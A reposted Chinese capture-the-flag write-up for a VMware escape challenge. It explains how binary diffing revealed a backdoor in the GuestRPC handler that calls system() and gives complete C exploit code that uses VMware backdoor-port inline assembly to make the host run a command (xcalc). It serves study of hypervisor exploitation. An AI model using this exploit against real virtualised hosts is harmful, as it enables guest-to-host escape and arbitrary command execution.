2019数字经济公测大赛-VMware逃逸

news2024/11/16 8:24:24

文章目录

  • 环境搭建
  • 漏洞点
  • exp

环境搭建

  • ubuntu :18.04.01
  • vmware: VMware-Workstation-Full-15.5.0-14665864.x86_64.bundle
    这里环境搭不成功。。patch过后就报错,不知道咋搞 发现可能是IDA加载后的patch似乎不行对原来的patch可能有影响,重新下了patch,发现可以了,但没网。。。。但好像自带vmtools了。。

漏洞点

bindiff 对比原来的vmx和patch过的,发现存在如下修改
在这里插入图片描述
被替换为nop并且留了后门
在这里插入图片描述

sub_16E220函数开始时通过调用sub_5463D0(1LL)获取一个值v2,用于决定switch语句执行哪个case。对应RPC各个通信
打开 GuestRPC 通道
发送命令长度
发送命令数据
接收回复大小
接收回复数据
发出接收结束信号
关闭频道

bindiff不同位置其对应的反编译代码,属于case 4

发现其中有关于channel的字符串GuestMsg: Channel %u, Not enough memory to receive a message,加上函数开头的switch case判断number的范围为0-6,很容易联想到这就是GuestRPC Handler(是处理 RPC 通信的代码),一个RPC指令处理函数,下面代码只包含了漏洞所在的部分,可以看到这个路径是当subcommand=0x4,也就是Receive reply data的处理部分

   case 4u:
      v49 = sub_16DE80(6LL, 7LL);
      v8 = (_DWORD *)v49;
      if ( !v49 )
        goto LABEL_62;
      LODWORD(v9) = *(_DWORD *)v49;
      if ( *(_DWORD *)v49 != 3 )
        goto LABEL_20;
      if ( *(_BYTE *)(v49 + 8) == 1 )
        goto LABEL_48;
      if ( !*(_QWORD *)(v49 + 56) )
        goto LABEL_90;
      if ( (sub_5463D0(3LL) & 1) == 0 )
      {
        v11 = (__int64)v8;
        goto LABEL_81;
      }
      v36 = (unsigned __int64)&stru_20000;
      sub_546480(2LL, &stru_20000);
      v50 = (unsigned int)v8[12];
      v51 = (unsigned __int16 *)(*((_QWORD *)v8 + 7) + (unsigned int)v8[11] - v50);
      if ( (_DWORD)v50 == 2 )
      {
        v36 = *v51;
        v37 = (_BYTE *)(&dword_0 + 3);
        sub_546480(3LL, v36);
        v52 = v8[12] - 2;
        v8[12] = v52;
      }
      else if ( (_DWORD)v50 == 3 )
      {
        v37 = (const char *)*((_QWORD *)v8 + 7);
        system(v37);
        v52 = v8[12] - 3;
        v8[12] = v52;
      }
      else
      {
        if ( (_DWORD)v50 == 1 )
        {
          v36 = *(unsigned __int8 *)v51;
          v37 = (_BYTE *)(&dword_0 + 3);
          sub_546480(3LL, v36);
          v52 = v8[12] - 1;
        }
        else
        {
          v36 = *(unsigned int *)v51;
          v37 = (_BYTE *)(&dword_0 + 3);
          sub_546480(3LL, v36);
          v52 = v8[12] - 4;
        }
        v8[12] = v52;
      }
      if ( !v52 )
        *v8 = 4;
LABEL_31:
      v44 = sub_533C10(v37, v36, v9);
      v19 = 0x10000LL;
      *((_QWORD *)v8 + 2) = v44;
      goto LABEL_12;

其中 need 表示还未发送数据的长度,在 need >= 4 的时候每次发送 4 字节,最后特判了 need < 4 的情况。而后门函数位于 need == 3 的判断中。

另外通过调试发现 state == 3 出现在 host 向 guest 回复数据的阶段,因此我们需要让 host 向 guest 回复数据长度模 4 余 3 同时 buf 恰好是要执行的命令。

通过调试发现回复数据长度为 info-set guestinfo.x 后面跟的字符串长度加 2,并且执行的命令就是这个字符串(前面拼接了两个字节包含一个字符1 recv rpc data中有提到rpctype前两个字节表示成功还是失败 在 Recieve RPC reply length 中提到过,应答数据的前两个字节始终表示 RPC command 的状态)。最最终need的总个数就是 info-set guestinfo.x 后面跟的字符串长度加2,即1 字符串,buf就是这个的起始地址,所以system执行指令会执行1 字符串,为了执行字符串中的指令,所以字符串刚开始有个;来结束,最后我们保证字符串长度加2模4余3就好了(也就是字符串长度模4余1)

这里已经包含一个字符了,所以保证剩下的是4的倍数就行了,这里相当任意命令执行了,因为可以通过添加空格来填补,最后添个;或者&,不然虚拟机出问题
在这里插入图片描述

然后是执行命令的参数前面固定为1,我在后面加了个;来执行下一条命令,因此最终去执行的命令就是/usr/bin/xcalc ;

exp

#include <ctype.h>
#include <stdint-gcc.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void byte_dump(char *desc, void *addr, int len) {
    uint8_t *buf8 = (unsigned char *) addr;
    if (desc != NULL) {
        printf("[*] %s:\n", desc);
    }
    for (int i = 0; i < len; i += 16) {
        printf("  %04x", i);
        for (int j = 0; j < 16; j++) {
            i + j < len ? printf(" %02x", buf8[i + j]) : printf("   ");
        }
        printf("   ");
        for (int j = 0; j < 16 && j + i < len; j++) {
            printf("%c", isprint(buf8[i + j]) ? buf8[i + j] : '.');
        }
        puts("");
    }
}
void channel_open(int *cookie1, int *cookie2, int *channel_num, int *res) {
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rdi,%%r10\n\t"
        "movq %%rsi,%%r11\n\t"
        "movq %%rdx,%%r12\n\t"
        "movq %%rcx,%%r13\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0xc9435052,%%ebx\n\t"
        "movl $0x1e,%%ecx\n\t"
        "movl $0x5658,%%edx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%edi,(%%r10)\n\t"
        "movl %%esi,(%%r11)\n\t"
        "movl %%edx,(%%r12)\n\t"
        "movl %%ecx,(%%r13)\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r8", "%r10", "%r11", "%r12", "%r13");
}

void channel_set_len(int cookie1, int cookie2, int channel_num, int len, int *res) {
    asm("movl %%eax,%%ebx\n\t"
        "movq %%r8,%%r10\n\t"
        "movl %%ecx,%%ebx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0001001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}

void channel_send_data(int cookie1, int cookie2, int channel_num, int len, char *data, int *res) {
    asm("pushq %%rbp\n\t"
        "movq %%r9,%%r10\n\t"
        "movq %%r8,%%rbp\n\t"
        "movq %%rcx,%%r11\n\t"
        "movq $0,%%r12\n\t"
        "1:\n\t"
        "movq %%r8,%%rbp\n\t"
        "add %%r12,%%rbp\n\t"
        "movl (%%rbp),%%ebx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0002001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "addq $4,%%r12\n\t"
        "cmpq %%r12,%%r11\n\t"
        "ja 1b\n\t"
        "movl %%ecx,(%%r10)\n\t"
        "popq %%rbp\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");
}

void channel_recv_reply_len(int cookie1, int cookie2, int channel_num, int *len, int *res) {
    asm("movl %%eax,%%ebx\n\t"
        "movq %%r8,%%r10\n\t"
        "movq %%rcx,%%r11\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0003001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        "movl %%ebx,(%%r11)\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11");
}

void channel_recv_data(int cookie1, int cookie2, int channel_num, int offset, char *data, int *res) {
    asm("pushq %%rbp\n\t"
        "movq %%r9,%%r10\n\t"
        "movq %%r8,%%rbp\n\t"
        "movq %%rcx,%%r11\n\t"
        "movq $1,%%rbx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0004001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "in %%dx,%%eax\n\t"
        "add %%r11,%%rbp\n\t"
        "movl %%ebx,(%%rbp)\n\t"
        "movl %%ecx,(%%r10)\n\t"
        "popq %%rbp\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");
}

void channel_recv_finish(int cookie1, int cookie2, int channel_num, int *res) {
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rcx,%%r10\n\t"
        "movq $0x1,%%rbx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0005001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}

void channel_recv_finish2(int cookie1, int cookie2, int channel_num, int *res) {
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rcx,%%r10\n\t"
        "movq $0x21,%%rbx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0005001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}

void channel_close(int cookie1, int cookie2, int channel_num, int *res) {
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rcx,%%r10\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0006001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}

typedef struct {
    int cookie1;
    int cookie2;
    int num;
} channel;

void run_cmd(char *cmd) {
    channel cannel;
    int res, len;
    channel_open(&cannel.cookie1, &cannel.cookie2, &cannel.num, &res);
    if (!res) {
        puts("[-] fail to open channel.");
        exit(EXIT_FAILURE);
    }
    channel_set_len(cannel.cookie1, cannel.cookie2, cannel.num, strlen(cmd), &res);
    if (!res) {
        puts("[-] fail to set len");
        exit(EXIT_FAILURE);
    }
    channel_send_data(cannel.cookie1, cannel.cookie2, cannel.num, strlen(cmd), cmd, &res);

    channel_recv_reply_len(cannel.cookie1, cannel.cookie2, cannel.num, &len, &res);
    if (!res) {
        puts("[-] fail to recv data len");
        exit(EXIT_FAILURE);
    }
    printf("[*] recv len:%d\n", len);

    char *data = malloc(len);
    memset(data, 0, len );
    for (int i = 0; i < len ; i += 4) {
        channel_recv_data(cannel.cookie1, cannel.cookie2, cannel.num, i, data, &res);
    }

    byte_dump("recv data", data, len );

    channel_recv_finish(cannel.cookie1, cannel.cookie2, cannel.num, &res);
    if (!res) {
        puts("[-] fail to recv finish");
        exit(EXIT_FAILURE);
    }

    channel_close(cannel.cookie1, cannel.cookie2, cannel.num, &res);
    if (!res) {
        puts("[-] fail to close channel");
        exit(EXIT_FAILURE);
    }
}

int main() {
    run_cmd("info-set guestinfo.x ;/usr/bin/xcalc ;");
    run_cmd("info-get guestinfo.x");
    return 0;
}

asm中的冒号:

  • 第一个冒号后的空字符串表示没有输出操作数。
  • 第二个冒号后的空字符串表示没有输入操作数。
  • 第三个冒号后的列表是被修改的寄存器列表,用于告知编译器哪些寄存器被嵌入的汇编代码修改了。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1956313.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LiteFlow条件组件的设计组件标签|组件参数,EL与或非表达式正反解析,元数据管理

个人博客&#xff1a;无奈何杨&#xff08;wnhyang&#xff09; 个人语雀&#xff1a;wnhyang 共享语雀&#xff1a;在线知识共享 Github&#xff1a;wnhyang - Overview 参考 https://juejin.cn/post/7005869798483558431 &#x1f349;组件参数 | LiteFlow &#x1f34…

黑龙江等保测评如何做到既全面又高效?

在黑龙江省进行等保测评&#xff0c;必须在全面和高效之间寻求一个平衡点&#xff0c;以保证网络的安全性和可靠性。黑龙江等保测评怎样才能在二者之间发现黄金交汇点&#xff1f;下面&#xff0c;我们来揭开谜底。 精准定位&#xff0c;明确测评范围 首先&#xff0c;一个综…

LLaMA Factory添加新模型template的实战解析

大家好,我是herosunly。985院校硕士毕业,现担任算法研究员一职,热衷于大模型算法的研究与应用。曾担任百度千帆大模型比赛、BPAA算法大赛评委,编写微软OpenAI考试认证指导手册。曾获得阿里云天池比赛第一名,CCF比赛第二名,科大讯飞比赛第三名。授权多项发明专利。对机器学…

OpenCV facedetect 人脸检测官方示例项目配置

运行程序。该程序会自动打开摄像头&#xff0c;识别并定位摄像头前的人脸以及眼睛部位。 输入q或者Q&#xff0c;退出程序。 或进行文本中所包含的图片路径 或 单个图片进行检测&#xff0c;自行修改代码即可 配置环境项目&#xff0c;debug 解决error C4996: ‘fopen’: This…

python 可视化探索(一):基础图表

总结&#xff1a;本文为和鲸python 可视化探索训练营资料整理而来&#xff0c;加入了自己的理解&#xff08;by GPT4o&#xff09; 原作者&#xff1a;作者&#xff1a;大话数据分析&#xff0c;知乎、公众号【大话数据分析】主理人&#xff0c;5年数据分析经验&#xff0c;前…

六、Spring Boot - 上手篇(2)

&#x1f33b;&#x1f33b;目录 一、SpringBoot 构建RESTful API1.1 RESTful介绍1.2 RESTful接口设计1.3 用户实体bean创建 User1.4 创建Controller UserController1.5 Postman 测试RESTful 接口 二、SpringBoot 使用Swagger2 构建API文档2.1 Swagger2介绍2.2 SpringBoot 开启…

2020年 - 2022年 上市公司-劳动投资效率数据(原始数据、代码do文件、参考文献、最终结果)

劳动投资效率概述 劳动投资效率是衡量企业在人力资源管理方面效果和效率的关键指标。它关注企业在劳动力投资上的效益&#xff0c;即企业对于人力资源的投入与产出之间的比率。这一指标对于评估企业的人力资源管理策略及其对企业绩效的影响至关重要。 劳动投资效率的测度指标…

【Golang 面试 - 基础题】每日 5 题(八)

✍个人博客&#xff1a;Pandaconda-CSDN博客 &#x1f4e3;专栏地址&#xff1a;http://t.csdnimg.cn/UWz06 &#x1f4da;专栏简介&#xff1a;在这个专栏中&#xff0c;我将会分享 Golang 面试中常见的面试题给大家~ ❤️如果有收获的话&#xff0c;欢迎点赞&#x1f44d;收藏…

Redis快速入门基础

Redis入门 Redis是一个基于内存的 key-value 结构数据库。mysql是二维表的接口数据库 优点&#xff1a; 基于内存存储&#xff0c;读写性能高 适合存储热点数据(热点商品、资讯、新闻) 企业应用广泛 官网:https://redis.io 中文网:https://www.redis.net.cn/ Redis下载与…

带你学会Git必会操作

文章目录 带你学会Git必会操作1Git的安装2.Git基本操作2.1本地仓库的创建2.2配置本地仓库 3.认识一些Git的基本概念3.1操作流程&#xff1a; 4.一些使用场景4.1添加文件场景一4.2查看git文件4.3修改文件4.4Git版本回退4.5git撤销修改 5.分支管理5.1查看分支5.2创建本地分支5.3切…

功能实现——使用 OpenPDF 将 HTML 转换为 PDF,并将其上传到 FTP 服务器

目录 1.需求分析2.项目环境搭建3.将 HTML 转换为 PDF3.1.代码实现mail.htmlHtmlToPDFController.javaPDFConverterService.javaPDFConverterServiceImpl.java 3.2.测试3.3.注意事项 4.将生成的 PDF 上传到 FTP 服务器4.1.搭建 FTP 服务器4.2.配置文件4.3.代码实现FtpUtil.javaF…

PostgreSQL性能优化之体系结构

本文介绍 PostgreSQL 数据库的体系结构&#xff0c;包括实例结构&#xff08;进程与内存&#xff09;、存储结构&#xff08;物理与逻辑&#xff09;以及插件式存储引擎。 实例与数据库聚簇 PostgreSQL 使用典型的客户端/服务器&#xff08;Client/Server&#xff09;架构&am…

【Android】Fragment的添加

上一篇文章学到了碎片的创建与生命周期&#xff0c;接下来学习碎片的常用操作&#xff0c;其中会用到上一篇文章的三个碎片&#xff0c;就做一个简单的说明吧&#xff1a;LeftFragment&#xff08;包含一个按钮&#xff09;、RightFragment4&#xff08;以粉色为背景的文本&…

【人工智能】穿越科技迷雾:解锁人工智能、机器学习与深度学习的奥秘之旅

文章目录 前言一、人工智能1. 人工智能概述a.人工智能、机器学习和深度学习b.人工智能发展必备三要素c.小案例 2.人工智能发展历程a.人工智能的起源b.发展历程 3.人工智能的主要分支 二、机器学习1.机器学习工作流程a.什么是机器学习b.机器学习工作流程c.特征工程 2.机器学习算…

动手学深度学习V2每日笔记(模型选择+过拟合和欠拟合)

本文主要参考沐神的视频教程 https://www.bilibili.com/video/BV1K64y1Q7wu/?spm_id_from333.788.recommend_more_video.0&vd_sourcec7bfc6ce0ea0cbe43aa288ba2713e56d 文档教程 https://zh-v2.d2l.ai/ 本文的主要内容对沐神提供的代码中个人不太理解的内容进行笔记记录&a…

Java之归并排序

归并排序 归并排序(Merge Sort)算法&#xff0c;使用的是分治思想。分治&#xff0c;顾名思义&#xff0c;就是分而治之&#xff0c;将一个大问题分解成小的子问题来解决。小的子问题解决了&#xff0c;大问题也就解决了。 核心源码: mergeSort(m->n) merge(mergeSort(m-&g…

对于500强企业来说,有比FTP好用的传输工具吗?

500强企业在进行文件传输时&#xff0c;会根据其业务需求、数据安全性要求以及技术架构的不同&#xff0c;选择多种文件传输方式&#xff0c;最常见的便是FTP。然而FTP在使用却存在较多的问题&#xff1a; 1&#xff09;安全性问题 缺乏安全策略&#xff1a;FTP本身不提供加密…

「百年孤独」

引言 《百年孤独》是加西亚马尔克斯创作的魔幻现实主义经典小说&#xff0c;刻画了布恩迪亚家族七代人的跌宕起伏和马孔多小镇的兴衰。是拉丁美洲文学中一部不朽的杰作。 故事概述 小说从布恩迪亚家族的始祖荷塞阿卡迪奥布恩迪亚和妻子乌尔苏拉开始&#xff0c;讲述了七代人…

DeiT III(Meta)论文解读

paper&#xff1a;DeiT III: Revenge of the ViT official implementation&#xff1a;https://github.com/facebookresearch/deit 出发点 本研究旨在重新审视ViT的监督训练方法&#xff0c;并提出一种基于ResNet-50训练方法的简化版新训练策略。与现有的自动数据增强方法不…

C++从入门到起飞之——友元内部类匿名对象对象拷贝时的编译器优化 全方位剖析!

&#x1f308;个人主页&#xff1a;秋风起&#xff0c;再归来~&#x1f525;系列专栏&#xff1a;C从入门到起飞 &#x1f516;克心守己&#xff0c;律己则安 目录 1、友元 2、内部类 3、 匿名对象 4、对象拷⻉时的编译器优化 5、完结散花 1、友元 • 友元提供…